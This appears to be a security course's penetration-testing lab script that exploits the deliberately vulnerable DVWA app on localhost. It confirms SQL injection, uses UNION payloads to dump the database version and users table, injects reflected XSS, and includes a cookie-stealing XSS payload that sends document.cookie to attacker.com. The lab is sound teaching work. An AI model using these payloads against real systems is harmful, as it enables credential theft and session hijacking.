Lab 07: Security Testing & Penetration Testing¶

import requests

BASE = "http://localhost:8080"
SESSION = requests.Session()

# Authenticate
SESSION.post(f"{BASE}/login.php", data={
    "username": "admin", "password": "password", "Login": "Login"
})
SESSION.get(f"{BASE}/security.php?seclev_submit=Low&security=low")

# --- SQL Injection ---
def test_sqli_error_based():
    """Confirm SQL injection by triggering a database error."""
    r = SESSION.get(f"{BASE}/vulnerabilities/sqli/", params={"id": "1'", "Submit": "Submit"})
    if "error" in r.text.lower() or "syntax" in r.text.lower():
        print("[VULN] SQLi confirmed — error-based injection works")
        return True
    print("[INFO] No error response — try blind SQLi")
    return False

def extract_database_version():
    """Extract DB version using UNION-based SQLi."""
    payload = "1' UNION SELECT null, version() -- "
    r = SESSION.get(f"{BASE}/vulnerabilities/sqli/",
                    params={"id": payload, "Submit": "Submit"})
    # Parse version from response
    import re
    match = re.search(r'(\d+\.\d+\.\d+)', r.text)
    if match:
        print(f"[DATA] Database version: {match.group(1)}")
        return match.group(1)
    return None

def extract_users():
    """Extract usernames from DVWA users table."""
    payload = "1' UNION SELECT user, password FROM users -- "
    r = SESSION.get(f"{BASE}/vulnerabilities/sqli/",
                    params={"id": payload, "Submit": "Submit"})
    print("[DATA] Users table dump:")
    import re
    # DVWA outputs in <td> tags
    for m in re.findall(r'<td>([^<]+)</td>', r.text):
        print(f"  {m}")

if __name__ == "__main__":
    print("=== SQLi Exploit ===")
    if test_sqli_error_based():
        extract_database_version()
        extract_users()

def test_reflected_xss():
    """Confirm reflected XSS in the name parameter."""
    payload = '<script>alert("XSS-SCIA425")</script>'
    r = SESSION.get(f"{BASE}/vulnerabilities/xss_r/",
                    params={"name": payload, "Submit": "Submit"})
    if payload in r.text:
        print(f"[VULN] Reflected XSS confirmed — payload echoed unescaped")
        print(f"[URL]  {BASE}/vulnerabilities/xss_r/?name={requests.utils.quote(payload)}&Submit=Submit")
        return True
    else:
        print("[INFO] Payload not found — possibly filtered")
        return False

def test_xss_cookie_steal_simulation():
    """Demonstrate what a cookie-stealing XSS payload looks like (no actual exfil)."""
    steal_payload = '<img src=x onerror="document.location=\'http://attacker.com/steal?c=\'+document.cookie">'
    r = SESSION.get(f"{BASE}/vulnerabilities/xss_r/",
                    params={"name": steal_payload, "Submit": "Submit"})
    if "onerror" in r.text:
        print("[VULN] Cookie-stealing XSS payload reflected — session hijack possible")